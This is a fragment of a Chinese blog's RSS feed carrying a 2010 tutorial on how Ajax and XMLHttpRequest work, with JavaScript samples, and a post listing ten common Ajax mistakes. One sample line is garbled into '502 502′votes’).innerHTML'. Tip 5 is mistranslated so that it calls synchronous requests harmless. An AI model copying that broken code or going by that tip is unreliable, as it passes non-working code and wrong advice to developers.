<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html" title="以人为本，美术资源的归档">以人为本，美术资源的归档</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeieeeeeting.html" title="AJAX初学:IE缓存页面的问题">AJAX初学:IE缓存页面的问题</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E4%B8%AD%E7%9A%84%E8%B4%A7%E5%B8%81.html" title="游戏中的货币">游戏中的货币</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ajax" title="ajax" rel="tag">ajax</a>, <a href="http://www.5bay.cn/tag/dhtml" title="dhtml" rel="tag">dhtml</a>, <a href="http://www.5bay.cn/tag/google" title="google" rel="tag">google</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/javascript" title="javascript" rel="tag">javascript</a>, <a href="http://www.5bay.cn/category/network-programming/javascript-ajax" title="JavaScript&amp;Ajax" rel="tag">JavaScript&amp;Ajax</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F" title="应用程序" rel="tag">应用程序</a>, <a href="http://www.5bay.cn/tag/%E6%90%9C%E7%B4%A2" title="搜索" rel="tag">搜索</a>, <a href="http://www.5bay.cn/tag/%E6%96%B0%E6%89%8B" title="新手" rel="tag">新手</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%9B%B4%E6%96%B0" title="更新" rel="tag">更新</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%87%AA%E8%BA%AB" title="自身" rel="tag">自身</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/ajaxeeaoe.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ajax的工作原理</title>
		<link>http://www.5bay.cn/network-programming/ajaxeeee.html</link>
		<comments>http://www.5bay.cn/network-programming/ajaxeeee.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:50:59 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[JavaScript&Ajax]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[status]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[xmlhttp]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[兼容]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[分页]]></category>
		<category><![CDATA[容器]]></category>
		<category><![CDATA[对象]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[常用]]></category>
		<category><![CDATA[应用程序]]></category>
		<category><![CDATA[引入]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[更新]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[节点]]></category>
		<category><![CDATA[表格]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[说明]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=482</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/ajaxeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Ajax的核心是JavaScript对象 XmlHttpRequest。该对象在Internet Explorer 5中首次引入，它是一种支持异步请求的技术。简而言之，XmlHttpRequest使您可以使用JavaScript向服务器提出请求并处理响应，而不阻塞用户。 　　在创建Web站点时，在客户端执行屏幕更新为用户提供了很大的灵活性。下面是使用Ajax可以完成的功能： * 动态更新购物车的物品总数，无需用户单击Update并等待服务器重新发送整个页面。 * 提升站点的性能，这是通过减少从服务器下载的数据量而实现的。例如，在Amazon的购物车页面，当更新篮子中的一项物品的数量时，会重新载入整个页面，这必须下载32K的数据。如果使用Ajax计算新的总量，服务器只会返回新的总量值，因此所需的带宽仅为原来的百分之一。 * 消除了每次用户输入时的页面刷新。例如，在Ajax中，如果用户在分页列表上单击Next，则服务器数据只刷新列表而不是整个页面。 * 直接编辑表格数据，而不是要求用户导航到新的页面来编辑数据。对于Ajax，当用户单击Edit时，可以将静态表格刷新为内容可编辑的表格。用户单击Done之后，就可以发出一个Ajax请求来更新服务器，并刷新表格，使其包含静态、只读的数据。 　　一切皆有可能！但愿它能够激发您开始开发自己的基于Ajax的站点。然而，在开始之前，让我们介绍一个现有的Web站点，它遵循传统的提交/等待/重新显示的范例，我们还将讨论Ajax如何提升用户体验。 原始的Ajax：直接使用XmlHttpRequest 　　如上所述，Ajax的核心是JavaScript对象XmlHttpRequest。下面的示例文章评价系统将带您熟悉Ajax的底层基本知识：http://tearesolutions.com/ajax-demo/raw-ajax.html。注：如果您已经在本地WebLogic容器中安装了ajax-demo.war，可以导航到http://localhost:7001/ajax-demo/raw-ajax.html， 　　浏览应用程序，参与投票，并亲眼看它如何运转。熟悉了该应用程序之后，继续阅读，进一步了解其工作原理细节。 　　首先，您拥有一些简单的定位点标记，它连接到一个JavaScriptcastVote(rank)函数。 function castVote(rank) { var url = “/ajax-demo/static-article-ranking.html”; var callback = processAjaxResponse; executeXhr(callback, url); } 　　该函数为您想要与之通信的服务器资源创建一个URL并调用内部函数executeXhr，提供一个回调JavaScript函数，一旦服务器响应可用，该函数就被执行。由于我希望它运行在一个简单的Apache环境中，“cast vote URL”只是一个简单的HTML页面。在实际情况中，被调用的URL将记录票数并动态地呈现包含投票总数的响应。 　　下一步是发出一个XmlHttpRequest请求： function executeXhr(callback, url) { // branch for native XMLHttpRequest object if (window.XMLHttpRequest) { req = new XMLHttpRequest(); req.onreadystatechange = [...]]]></description>
			<content:encoded><![CDATA[<p>Ajax的核心是JavaScript对象 XmlHttpRequest。该对象在Internet Explorer 5中首次引入，它是一种支持异步请求的技术。简而言之，XmlHttpRequest使您可以使用JavaScript向服务器提出请求并处理响应，而不阻塞用户。 </p>
<p>　　在创建Web站点时，在客户端执行屏幕更新为用户提供了很大的灵活性。下面是使用Ajax可以完成的功能： </p>
<p>* 动态更新购物车的物品总数，无需用户单击Update并等待服务器重新发送整个页面。<br />
* 提升站点的性能，这是通过减少从服务器下载的数据量而实现的。例如，在Amazon的购物车页面，当更新篮子中的一项物品的数量时，会重新载入整个页面，这必须下载32K的数据。如果使用Ajax计算新的总量，服务器只会返回新的总量值，因此所需的带宽仅为原来的百分之一。<br />
* 消除了每次用户输入时的页面刷新。例如，在Ajax中，如果用户在分页列表上单击Next，则服务器数据只刷新列表而不是整个页面。<br />
* 直接编辑表格数据，而不是要求用户导航到新的页面来编辑数据。对于Ajax，当用户单击Edit时，可以将静态表格刷新为内容可编辑的表格。用户单击Done之后，就可以发出一个Ajax请求来更新服务器，并刷新表格，使其包含静态、只读的数据。<br />
　　一切皆有可能！但愿它能够激发您开始开发自己的基于Ajax的站点。然而，在开始之前，让我们介绍一个现有的Web站点，它遵循传统的提交/等待/重新显示的范例，我们还将讨论Ajax如何提升用户体验。 <span id="more-482"></span></p>
<p>原始的Ajax：直接使用XmlHttpRequest </p>
<p>　　如上所述，Ajax的核心是JavaScript对象XmlHttpRequest。下面的示例文章评价系统将带您熟悉Ajax的底层基本知识：http://tearesolutions.com/<a href="http://www.5bay.cn/tag/ajax" class="st_tag internal_tag" rel="tag" title="标签 ajax 下的日志">ajax</a>-demo/raw-<a href="http://www.5bay.cn/tag/ajax" class="st_tag internal_tag" rel="tag" title="标签 ajax 下的日志">ajax</a>.html。注：如果您已经在本地WebLogic容器中安装了ajax-demo.war，可以导航到http://localhost:7001/<a href="http://www.5bay.cn/tag/ajax" class="st_tag internal_tag" rel="tag" title="标签 ajax 下的日志">ajax</a>-demo/raw-<a href="http://www.5bay.cn/tag/ajax" class="st_tag internal_tag" rel="tag" title="标签 ajax 下的日志">ajax</a>.html， </p>
<p>　　浏览应用程序，参与投票，并亲眼看它如何运转。熟悉了该应用程序之后，继续阅读，进一步了解其工作原理细节。<br />
　　首先，您拥有一些简单的定位点标记，它连接到一个JavaScriptcastVote(rank)函数。 </p>
<p>function castVote(rank) {<br />
var url = “/ajax-demo/static-article-ranking.html”;<br />
var callback = processAjaxResponse;<br />
executeXhr(callback, url);<br />
} </p>
<p>　　该函数为您想要与之通信的服务器资源创建一个URL并调用内部函数executeXhr，提供一个回调JavaScript函数，一旦服务器响应可用，该函数就被执行。由于我希望它运行在一个简单的Apache环境中，“cast vote URL”只是一个简单的HTML页面。在实际情况中，被调用的URL将记录票数并动态地呈现包含投票总数的响应。<br />
　　下一步是发出一个XmlHttpRequest请求： </p>
<p>function executeXhr(callback, url) {<br />
// branch for native XMLHttpRequest object<br />
if (window.XMLHttpRequest) {<br />
req = new XMLHttpRequest();<br />
req.onreadystatechange = callback;<br />
req.open(“GET”, url, true);<br />
req.send(null);<br />
} // branch for IE/Windows ActiveX version<br />
else if (window.ActiveXObject) {<br />
req = new ActiveXObject(“Microsoft.XMLHTTP”);<br />
if (req) {<br />
req.onreadystatechange = callback;<br />
req.open(“GET”, url, true);<br />
req.send();<br />
}<br />
}<br />
} </p>
<p>　　如您所见，执行一个XmlHttpRequest并不简单，但非常直观。和平常一样，在JavaScript领域，大部分的工作量都花在确保浏览器兼容方面。在这种情况下，首先要确定XmlHttpRequest是否可用。如果不能用，很可能要使用Internet Explorer，这样就要使用所提供的ActiveX实现。 </p>
<p>executeXhr()方法中最关键的部分是这两行： </p>
<p>req.onreadystatechange = callback;<br />
req.open(“GET”, url, true); </p>
<p>　　第一行定义了JavaScript回调函数，您希望一旦响应就绪它就自动执行，而req.open()方法中所指定的“true”标志说明您想要异步执行该请求。<br />
　　一旦服务器处理完XmlHttpRequest并返回给浏览器，使用req.onreadystatechange指派所设置的回调方法将被自动调用。<br />
function processAjaxResponse() {<br />
// only if req shows “loaded”<br />
if (req.readyState == 4) {<br />
// only if “OK”<br />
if (req.status == 200) {<br />
502 502&#8242;votes&#8217;).innerHTML = req.responseText;<br />
} else {<br />
alert(“There was a problem retrieving the XML data:<br />
” +<br />
req.statusText);<br />
}<br />
}<br />
} </p>
<p>　　该代码相当简洁，并且使用了几个幻数，这使得难以一下子看出发生了什么。为了弄清楚这一点，下面的表格（引用自http://developer.apple.com/internet/webcontent/xmlhttpreq.html）列举了常用的XmlHttpRequest对象属性。 </p>
<p>属性 </p>
<p>描述 </p>
<p>onreadystatechange </p>
<p>每次状态改变所触发事件的事件处理程序 </p>
<p>readyState </p>
<p>对象状态值： </p>
<p>* 0 = 未初始化（uninitialized）<br />
* 1 = 正在加载（loading）<br />
* 2 = 加载完毕（loaded）<br />
* 3 = 交互（interactive）<br />
* 4 = 完成（complete） </p>
<p>responseText </p>
<p>从服务器进程返回的数据的字符串形式 </p>
<p>responseXML </p>
<p>从服务器进程返回的DOM兼容的文档数据对象 </p>
<p>status </p>
<p>从服务器返回的数字代码，比如404（未找到）或200（就绪） </p>
<p>statusText </p>
<p>伴随状态码的字符串信息 </p>
<p>　　现在processVoteResponse()函数开始显示出其意义了。它首先检查 XmlHttpRequest的整体状态以保证它已经完成（readyStatus == 4），然后根据服务器的设定询问请求状态。如果一切正常（status == 200）,就使用innerHTML属性重写DOM的“votes”节点的内容。 </p>
<p>　　既然您亲眼看到了XmlHttpRequest对象是如何工作的，就让我们利用一个旨在简化JavaScript与Java应用程序之间的异步通信的框架来对具体的细节进行抽象。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeieeeeeting.html" title="AJAX初学:IE缓存页面的问题">AJAX初学:IE缓存页面的问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeetpit.html" title="了解Ajax中的Get和Post ">了解Ajax中的Get和Post </a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeeeseeao.html" title="ajax基础知识:js事件触发大全">ajax基础知识:js事件触发大全</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ajax" title="ajax" rel="tag">ajax</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/javascript" title="javascript" rel="tag">javascript</a>, <a href="http://www.5bay.cn/category/network-programming/javascript-ajax" title="JavaScript&amp;Ajax" rel="tag">JavaScript&amp;Ajax</a>, <a href="http://www.5bay.cn/tag/status" title="status" rel="tag">status</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/xml" title="xml" rel="tag">xml</a>, <a href="http://www.5bay.cn/tag/xmlhttp" title="xmlhttp" rel="tag">xmlhttp</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%85%BC%E5%AE%B9" title="兼容" rel="tag">兼容</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E5%88%86%E9%A1%B5" title="分页" rel="tag">分页</a>, <a href="http://www.5bay.cn/tag/%E5%AE%B9%E5%99%A8" title="容器" rel="tag">容器</a>, <a href="http://www.5bay.cn/tag/%E5%AF%B9%E8%B1%A1" title="对象" rel="tag">对象</a>, <a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" title="属性" rel="tag">属性</a>, <a href="http://www.5bay.cn/tag/%E5%B8%B8%E7%94%A8" title="常用" rel="tag">常用</a>, <a href="http://www.5bay.cn/tag/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F" title="应用程序" rel="tag">应用程序</a>, <a href="http://www.5bay.cn/tag/%E5%BC%95%E5%85%A5" title="引入" rel="tag">引入</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%9B%B4%E6%96%B0" title="更新" rel="tag">更新</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%8A%82%E7%82%B9" title="节点" rel="tag">节点</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8%E6%A0%BC" title="表格" rel="tag">表格</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%AF%B4%E6%98%8E" title="说明" rel="tag">说明</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/ajaxeeee.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>使用Ajax时的十个常犯的错误</title>
		<link>http://www.5bay.cn/network-programming/eejaxeeeeee.html</link>
		<comments>http://www.5bay.cn/network-programming/eejaxeeeeee.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:49:05 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[JavaScript&Ajax]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[dhtml]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[http请求状态]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[status]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[web2.0]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[xmlhttp]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[图片]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[更新]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[链接]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=478</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>上个月我发现许多Web2.0网站大量运用了ajax，但是其中有些很奇怪，因为他们的速度比起前慢了，并且有时候不起作用（在移动设备上），我总结了十条用Ajax的错误（平台无关） 1、 不要通过把整个页面都放在UpdatePanel中更新整个页面。在你运行网页时需要节省时间，不要更新那些可以用javascript and DHTML (DOM)的部分。 2、 要始终记得有这么几种访问者，他们不能用JavaScript或者用的版本比较老的浏览器或者他们对JavaScript支持不好，比如说移动设备。如果这些都不支持，你的访问者能看到什么？ 3、 在客户端浏览器缓存相同的请求或者在we服务器端执行缓存。最好的例子是自动完成个下拉菜单，他们的填充在任何时刻都是相同的，一个有错误写法的自动完成的写法可以减慢你的Web服务器（数据库服务器），因为那样会有比起以前用IsPostBack更多地请求。想一下不停的按F5刷新你的网页的情形。如果你有层叠的下拉菜单你就会结算更多地请求。 4、 在你运用CSS或JavaScript时，不要运行，并发的或者运行很长时间的Ajax请求，一般的浏览器只能有两个并发的http连接（我知道可以给变这个，但是默认的还是设为两个）。如果在读取图片的时候由很多Ajax请求的话，速度会变得很慢。 5、 什么时候都用异步调用的方法发送XMLHttpRequest.。如果你要用同步的方法也是没有请问题的，你的浏览器不会因为网络问题或是连接速度慢而冻结的 6、 试着让你的web应用使用一个很慢的网络连接，再尝试用快的TCP/IP连接 7、 你的web应用是作为桌面程序的替代品？你注意观察过一般浏览器在运行你的Web应用一小时，两小时或者几天时内存的使用。不是所有人都有你那样好的机器。 8、 检查在你返回XMLHttpRequest时你的http请求状态代码（status code），那会有一些常见的网络错误像是不可获得的DNS，Http Server error 500 ，你曾经检查过状态代码（status code），它可以告诉你浏览器在一个为连接的模式 9、 试着禁止XMLHttpRequest object！用IE7你能用native object代替ActiveX object，但是你也可以禁止native object。 10、检查你AJAX requests的安全性！你简单的打开了你的数据访问层吗？充分运用FormsAuthentication和PrincipalPermissions。是不是任何人都可以建立一个请求（不只是点击一个链接）？ 相关博文2010年07月26日 -- Ajax的工作原理 (1)2010年07月26日 -- ajax的缺点 (0)2010年07月26日 -- AJAX的各种控件和类库 (0)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年05月23日 -- Rsync详解 (0)2010年07月26日 -- AJAX应用程序开发七宗罪 (0)2010年05月23日 -- 《高性能网站建设指南》读书笔记 [...]]]></description>
			<content:encoded><![CDATA[<p>上个月我发现许多Web2.0网站大量运用了ajax，但是其中有些很奇怪，因为他们的速度比起前慢了，并且有时候不起作用（在移动设备上），我总结了十条用Ajax的错误（平台无关）</p>
<p>1、 不要通过把整个页面都放在UpdatePanel中更新整个页面。在你运行网页时需要节省时间，不要更新那些可以用javascript and DHTML (DOM)的部分。</p>
<p>2、 要始终记得有这么几种访问者，他们不能用JavaScript或者用的版本比较老的浏览器或者他们对JavaScript支持不好，比如说移动设备。如果这些都不支持，你的访问者能看到什么？</p>
<p>3、 在客户端浏览器缓存相同的请求或者在we服务器端执行缓存。最好的例子是自动完成个下拉菜单，他们的填充在任何时刻都是相同的，一个有错误写法的自动完成的写法可以减慢你的Web服务器（数据库服务器），因为那样会有比起以前用IsPostBack更多地请求。想一下不停的按F5刷新你的网页的情形。如果你有层叠的下拉菜单你就会结算更多地请求。</p>
<p>4、 在你运用CSS或JavaScript时，不要运行，并发的或者运行很长时间的Ajax请求，一般的浏览器只能有两个并发的http连接（我知道可以给变这个，但是默认的还是设为两个）。如果在读取图片的时候由很多Ajax请求的话，速度会变得很慢。</p>
<p>5、 什么时候都用异步调用的方法发送XMLHttpRequest.。如果你要用同步的方法也是没有请问题的，你的浏览器不会因为网络问题或是连接速度慢而冻结的</p>
<p>6、 试着让你的web应用使用一个很慢的网络连接，再尝试用快的TCP/IP连接</p>
<p>7、 你的web应用是作为桌面程序的替代品？你注意观察过一般浏览器在运行你的Web应用一小时，两小时或者几天时内存的使用。不是所有人都有你那样好的机器。</p>
<p>8、 检查在你返回XMLHttpRequest时你的http请求状态代码（<a href="http://www.5bay.cn/tag/status" class="st_tag internal_tag" rel="tag" title="标签 status 下的日志">status</a> code），那会有一些常见的网络错误像是不可获得的DNS，Http Server error 500 ，你曾经检查过状态代码（<a href="http://www.5bay.cn/tag/status" class="st_tag internal_tag" rel="tag" title="标签 status 下的日志">status</a> code），它可以告诉你浏览器在一个为连接的模式</p>
<p>9、 试着禁止XMLHttpRequest object！用IE7你能用native object代替ActiveX object，但是你也可以禁止native object。</p>
<p>10、检查你AJAX requests的安全性！你简单的打开了你的数据访问层吗？充分运用FormsAuthentication和PrincipalPermissions。是不是任何人都可以建立一个请求（不只是点击一个链接）？</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeieeeeeting.html" title="AJAX初学:IE缓存页面的问题">AJAX初学:IE缓存页面的问题</a> (0)</li><li>2010年07月26日 -- <a 